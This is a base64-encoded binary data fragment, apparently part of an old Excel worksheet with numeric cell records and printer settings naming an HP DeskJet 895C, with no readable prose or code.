BgAVAJgAAAD9AAoACQAHABUAVAAAAL0AeAAJAAgAFQAAAPA/FQAAAABAFQAAAPA/FQAAAABA FQAAAABAFQAAAABAFQAAAABAFQAAAABAFQAAAABAFQAAAABAFQAAAPA/FQAAAABAFQAAAABA FQAA4I9ALwABKIxALwAB2JNALwAAAChALwABAJRALwAAQF5AGgD9AAoACQAbAC8AiAAAAL0A HgAJABwALwAAUHxALwABgGFALwABkJVALwAAAEVAHwD9AAoACQAgAC8AQwAAAL0AEgAJACEA LwAAAEpALwAAAC5AIgD9AAoACQAjAC8AQwAAAP0ACgAJACQALwBDAAAA/QAKAAkAJQAvAEMA AAC9ADwACQAmAC8AAABBQC8AAAAyQC8AAIBDQC8AAAAgQC8AAcBsQC8AAQDwPy8AAAAuQC8A AQA8QC8AAQA3QC4A/QAKAAkALwAvAI4AAAC9ABIACQAwAC8AAOBwQC8AAIBGQDEA/QAKAAkA MgAvAEMAAAD9AAoACQAzAC8AQwAAAP0ACgAJADQAPACNAAAA/QAKAAkANQA8AEMAAAB+AgoA CgAAABcAAAAUQP0ACgAKAAEAOACZAAAA/QAKAAoAAgA5AEQAAAD9AAoACgADACwAkQAAAP0A CgAKAAQAOgBFAAAAfgIKAAoABQAVAACIh0D9AAoACgAGABUARgAAAP0ACgAKAAcAFQBHAAAA vQCWAAoACAAVAAAAAEAVAAAAAEAVAAAA8D8VAAAAAEAVAAAAAEAVAAAAAEAVAAAAAEAVAAAA AEAVAAAAAEAVAAAAAEAVAAAA8D8VAAAACEAVAAAAAEAVAOHy+EAvAAHYi0AvAAEolEAvAAAA KkAvAAEwlkAvAADAYEAvAAAAREAvAAAogkAvAAFgYEAvAAHInkAvAACATEAfAP0ACgAKACAA LwBDAAAAvQASAAoAIQAvAAAAU0AvAAAAKkAiAP0ACgAKACMALwBDAAAA/QAKAAoAJAAvAEMA AAD9AAoACgAlAC8AQwAAAL0ASAAKACYALwAAAD5ALwAAADRALwAAgEJALwAAACJALwAAAABA LwABAPA/LwAB2I5ALwABABxALwABADxALwABACxALwAAgGtAMAD9AAoACgAxAC8AmgAAAP0A CgAKADIALwBDAAAA/QAKAAoAMwAvAEMAAAD9AAoACgA0ADwAjQAAAP0ACgAKADUAPABDAAAA fgIKAAsAAAAXAAAAGED9AAoACwABADgAmwAAAH4CCgALAAIAOQDA2/1A/QAKAAsAAwAsAJEA AAD9AAoACwAEADoAdAAAAH4CCgALAAUAFQAAiIdA/QAKAAsABgAVAEEAAAD9AAoACwAHABUA QgAAAP0ACgALAAgAFQBDAAAAvQByAAsACQAVAAAAAEAVAAAA8D8VAAAAAEAVAAAAAEAVAAAA AEAVAAAAAEAVAAAAAEAVAAAA8D8VAAAAAEAVAAAA8D8VAAAACEAVAAAAAEAVAGHr+EAvAAF4 iUAvAAG4kEAvAAAAKkAvAAGAkUAvAAAAWUAaAP0ACgALABsALwCcAAAAfgIKAAsAHAAvAACo hUD9AAoACwAdAC8AhQAAAL0AEgALAB4ALwABAKRALwAAAEpAHwD9AAoACwAgAC8AQwAAAL0A EgALACEALwAAQF9ALwAAACRAIgD9AAoACwAjAC8AQwAAAP0ACgALACQALwBDAAAA/QAKAAsA JQAvAEMAAAB+AgoACwAmAC8AAAAqQP0ACgALACcALwBDAAAA/QAKAAsAKAAvAIYAAAB+AgoA CwApAC8AAAAAQP0ACgALACoALwCJAAAAvQAwAAsAKwAvAAEAIEAvAAAAREAvAAEAMkAvAAEA NEAvAAEAP0AvAAAAEEAvAAAAKkAxAP0ACgALADIALwBDAAAA/QAKAAsAMwAvAEMAAAD9AAoA CwA0ADwAjQAAAP0ACgALADUAPABDAAAAfgIKAAwAAAAXAAAAHED9AAoADAABADgAnQAAAP0A CgAMAAIAOQBYAAAA/QAKAAwAAwAsAJ4AAAD9AAoADAAEADoAnwAAAH4CCgAMAAUAFQAAiIdA /QAKAAwABgAVAFMAAAD9AAoADAAHABUAWQAAAP0ACgAMAAgAFQBDAAAAvQByAAwACQAVAAAA AEAVAAAA8D8VAAAAAEAVAAAAAEAVAAAAAEAVAAAAAEAVAAAAAEAVAAAAAEAVAAAA8D8VAAAA 8D8VAAAAAEAVAAAA8D8VAIHG+EAvAAEoiEAvAAHgkEAvAAAAJEAvAAHwhEAvAACATkAaAP0A CgAMABsALwCEAAAAfgIKAAwAHAAvAACogkD9AAoADAAdAC8AhQAAAL0AEgAMAB4ALwABKJ5A LwAAgEpAHwD9AAoADAAgAC8AQwAAAL0AEgAMACEALwAAAFBALwAAADZAIgD9AAoADAAjAC8A QwAAAP0ACgAMACQALwBDAAAA/QAKAAwAJQAvAEMAAAB+AgoADAAmAC8AAAAcQP0ACgAMACcA LwBDAAAA/QAKAAwAKAAvAIYAAAC9ADwADAApAC8AAAAYQC8AAAAEQC8AAUBqQC8AAAAsQC8A AYBJQC8AAQA9QC8AAQBLQC8AAAAkQC8AAAAiQDEA/QAKAAwAMgAvAEMAAAD9AAoADAAzAC8A QwAAAP0ACgAMADQAPACNAAAA/QAKAAwANQA8AEMAAAB+AgoADQAAABcAAAAgQP0ACgANAAEA OACgAAAA/QAKAA0AAgA5AFoAAAD9AAoADQADACwAngAAAP0ACgANAAQAOgB0AAAAfgIKAA0A BQAVAACIh0D9AAoADQAGABUAoQAAAP0ACgANAAcAFQCPAAAAvQCEAA0ACAAVAAAA8D8VAAAA 8D8VAAAA8D8VAAAAAEAVAAAAAEAVAAAAAEAVAAAAAEAVAAAAAEAVAAAA8D8VAAAAAEAVAAAA 8D8VAAAAAEAVAAAA8D8VAACIj0AvAAGAiEAvAAHgkEAvAAAAJkAvAAEQjUAvAABAVUAvAACA S0AvAAAAdkAcAP0ACgANAB0ALwCFAAAAvQASAA0AHgAvAAEgl0AvAAAALkAfAP0ACgANACAA LwBDAAAAvQASAA0AIQAvAAAATUAvAAHgikAiAP0ACgANACMALwBDAAAA/QAKAA0AJAAvAEMA AAD9AAoADQAlAC8AQwAAAH4CCgANACYALwAAADRA/QAKAA0AJwAvAEMAAAD9AAoADQAoAC8A hgAAAH4CCgANACkALwAAAABA/QAKAA0AKgAvAIkAAAC9ADAADQArAC8AAQAmQC8AAAA4QC8A AQAgQC8AAQAkQC8AAQAmQC8AAAAYQC8AAAAkQDEA/QAKAA0AMgAvAEMAAAD9AAoADQAzAC8A QwAAAP0ACgANADQAPACNAAAA/QAKAA0ANQA8AEMAAAB+AgoADgAAABcAAAAiQP0ACgAOAAEA OACiAAAA/QAKAA4AAgA5AF0AAAD9AAoADgADACwAngAAAP0ACgAOAAQAOgCjAAAAfgIKAA4A BQAVAACIh0D9AAoADgAGABUAXgAAAP0ACgAOAAcAFQBfAAAA/QAKAA4ACAAVAEMAAAC9AH4A DgAJABUAAAAAQBUAAADwPxUAAAAAQBUAAAAAQBUAAAAAQBUAAAAAQBUAAAAAQBUAAADwPxUA AAAAQBUAAADwPxUAAAAAQBUAAADwPxUAAIiPQC8AAfiHQC8AAUCQQC8AAAAoQC8AAYCRQC8A AEBZQC8AAIBLQC8AAGBtQBwA/QAKAA4AHQAvAIUAAAC9ABIADgAeAC8AAeCAQC8AAAAzQB8A /QAKAA4AIAAvAEMAAAC9ABIADgAhAC8AAAA6QC8AAdCGQCIA/QAKAA4AIwAvAEMAAAD9AAoA DgAkAC8AQwAAAP0ACgAOACUALwBDAAAAfgIKAA4AJgAvAAAAN0D9AAoADgAnAC8AQwAAAP0A CgAOACgALwCGAAAAvQA8AA4AKQAvAAAAAEAvAAAA4D8vAAEAFEAvAAAARUAvAAEAFEAvAAEA JEAvAAEAJEAvAAAAFEAvAAAAJEAxAP0ACgAOADIALwBDAAAA/QAKAA4AMwAvAEMAAAD9AAoA DgA0ADwAjQAAAP0ACgAOADUAPABDAAAAfgIKAA8AAAAXAAAAJED9AAoADwABADgApAAAAP0A CgAPAAIAOQBgAAAA/QAKAA8AAwAsAJ4AAAD9AAoADwAEADoApQAAAH4CCgAPAAUAFQAAiIdA /QAKAA8ABgAVAGIAAAD9AAoADwAHABUAYwAAAP0ACgAPAAgAFQBDAAAAvQB+AA8ACQAVAAAA 8D8VAAAA8D8VAAAAAEAVAAAAAEAVAAAAAEAVAAAAAEAVAAAAAEAVAAAA8D8VAAAAAEAVAAAA 8D8VAAAACEAVAAAA8D8VAEGd+EAvAAHAh0AvAAGgjkAvAAAALkAvAAGYkkAvAACAWkAvAAAA REAvAACAaUAcAP0ACgAPAB0ALwCFAAAAvQASAA8AHgAvAAFgb0AvAAAAM0AfAP0ACgAPACAA LwBDAAAAvQASAA8AIQAvAAAALkAvAAGwiEAiAP0ACgAPACMALwBDAAAA/QAKAA8AJAAvAEMA AAD9AAoADwAlAC8AQwAAAL0AEgAPACYALwAAAD1ALwAAABxAJwD9AAoADwAoAC8AhgAAAH4C CgAPACkALwAAAABA/QAKAA8AKgAvAIkAAAC9ADAADwArAC8AAQAcQC8AAABIQC8AAQAYQC8A AQAmQC8AAQAgQC8AAAAkQC8AAAAqQDEA/QAKAA8AMgAvAEMAAAD9AAoADwAzAC8AQwAAAP0A CgAPADQAPACNAAAA/QAKAA8ANQA8AEMAAAB+AgoAEAAAABcAAAAmQP0ACgAQAAEAOACmAAAA /QAKABAAAgA5AGQAAAD9AAoAEAADACwAngAAAP0ACgAQAAQAOgCnAAAAfgIKABAABQAVAACI h0D9AAoAEAAGABUAZQAAAP0ACgAQAAcAFQBmAAAA/QAKABAACAAVAEMAAAC9AHIAEAAJABUA AAAAQBUAAADwPxUAAAAAQBUAAAAAQBUAAAAAQBUAAAAAQBUAAAAAQBUAAADwPxUAAAAAQBUA AADwPxUAAAAIQBUAAADwPxUAAGiPQC8AAViIQC8AAAAlQC8AAAAuQC8AAZiSQC8AAABbQBoA /QAKABAAGwAvAIQAAAB+AgoAEAAcAC8AAEBrQP0ACgAQAB0ALwCFAAAAvQASABAAHgAvAAHQ cUAvAAAANUAfAP0ACgAQACAALwBDAAAAvQASABAAIQAvAAAAMEAvAAAAIUAiAP0ACgAQACMA LwBDAAAA/QAKABAAJAAvAEMAAAD9AAoAEAAlAC8AQwAAAH4CCgAQACYALwAAADFA/QAKABAA JwAvAEMAAAD9AAoAEAAoAC8AhgAAAH4CCgAQACkALwAAAABA/QAKABAAKgAvAIkAAAC9ADAA EAArAC8AAQAYQC8AAABGQC8AAQAuQC8AAQAqQC8AAQA2QC8AAAAkQC8AAAAyQDEA/QAKABAA MgAvAEMAAAD9AAoAEAAzAC8AQwAAAP0ACgAQADQAPACNAAAA/QAKABAANQA8AEMAAAB+AgoA EQAAABcAAAAoQP0ACgARAAEAOACoAAAAfgIKABEAAgA5AOCD/kD9AAoAEQADACwAqQAAAP0A CgARAAQAOgBMAAAAfgIKABEABQAVAACIh0D9AAoAEQAGABUAZwAAAP0ACgARAAcAFQBoAAAA /QAKABEACAAVAEMAAAC9AHIAEQAJABUAAADwPxUAAADwPxUAAAAAQBUAAAAAQBUAAAAAQBUA AAAAQBUAAAAAQBUAAAAAQBUAAAAAQBUAAADwPxUAAAAIQBUAAAAAQBUAAX74QC8AAWiIQC8A AWCYQC8AAAAyQC8AAZCQQC8AAABbQBoA/QAKABEAGwAvAIwAAAB+AgoAEQAcAC8AAIBwQP0A CgARAB0ALwCFAAAAvQASABEAHgAvAAGweEAvAAAANUAfAP0ACgARACAALwBDAAAAvQASABEA IQAvAAAAMkAvAAAAHkAiAP0ACgARACMALwBDAAAA/QAKABEAJAAvAEMAAAD9AAoAEQAlAC8A QwAAAL0ATgARACYALwAAADpALwAAACZALwAAADpALwAAABBALwAAAPA/LwABACRALwAAAEFA LwABADdALwABADJALwABACJALwAAgEhALwAAADZAMQD9AAoAEQAyAC8AQwAAAP0ACgARADMA LwBDAAAA/QAKABEANAA8AI0AAAD9AAoAEQA1ADwAQwAAAH4CCgASAAAAFwAAACpA/QAKABIA AQA4AKoAAAD9AAoAEgACADkAaQAAAP0ACgASAAMALACpAAAA/QAKABIABAA6AKcAAAB+AgoA EgAFABUAAIiHQP0ACgASAAYAFQCrAAAA/QAKABIABwAVAGoAAAD9AAoAEgAIABUAQwAAAL0A fgASAAkAFQAAAPA/FQAAAPA/FQAAAABAFQAAAABAFQAAAABAFQAAAABAFQAAAABAFQAAAABA FQAAAPA/FQAAAPA/FQAAAABAFQAAAABAFQBhUPhALwABuIZALwABMJZALwAAAC5ALwABoI5A LwAAgFhALwAAgFZALwAAYHBAHAD9AAoAEgAdAC8AhQAAAL0AEgASAB4ALwABgG9ALwAAADxA HwD9AAoAEgAgAC8AQwAAAL0AEgASACEALwAAAC5ALwABUIlAIgD9AAoAEgAjAC8AQwAAAP0A CgASACQALwBDAAAA/QAKABIAJQAvAEMAAAB+AgoAEgAmAC8AAAAqQP0ACgASACcALwBDAAAA vQASABIAKAAvAAAAMUAvAAAA8D8pAP0ACgASACoALwCJAAAAvQAeABIAKwAvAAEACEAvAACA SEAvAAEALEAvAAEAIkAuAP0ACgASAC8ALwCOAAAAvQASABIAMAAvAAAAJkAvAAAALkAxAP0A CgASADIALwBDAAAA/QAKABIAMwAvAEMAAAD9AAoAEgA0ADwAjQAAAP0ACgASADUAPABDAAAA fgIKABMAAAAXAAAALED9AAoAEwABADgArAAAAP0ACgATAAIAOQBVAAAA/QAKABMAAwAsAKkA AAD9AAoAEwAEADoAVgAAAH4CCgATAAUAFQAAiIdA/QAKABMABgAVAE0AAAD9AAoAEwAHABUA VwAAAL0AhAATAAgAFQAAAPA/FQAAAPA/FQAAAPA/FQAAAABAFQAAAABAFQAAAABAFQAAAABA FQAAAABAFQAAAABAFQAAAPA/FQAAAPA/FQAAAPA/FQAAAABAFQBBdfhALwAAAB9ALwABiJhA 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 CAD2KFyPwvXoPykACADg7/f7/X7vP00ASgUAAEgAUAAgAEQAZQBzAGsASgBlAHQAIAA4ADkA NQBDACAAUwBlAHIAaQBlAHMAIABQAHIAaQBuAHQAZQByAAAAAAABBAVA3ABsBA//AB4CAAkA mQszCGQAAQAAACwBAgABACwBAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AQAAAAMAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAABZOBICSABQACAARABlAHMAawBKAGUA dAAgADgAOQA1AEMAIABTAGUAcgBpAGUAcwAgAFAAcgBpAG4AdABlAHIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgAfAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAALAEsAcsAGQFgCfkM sAmzDScADACuCbMNAQAAAAEAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 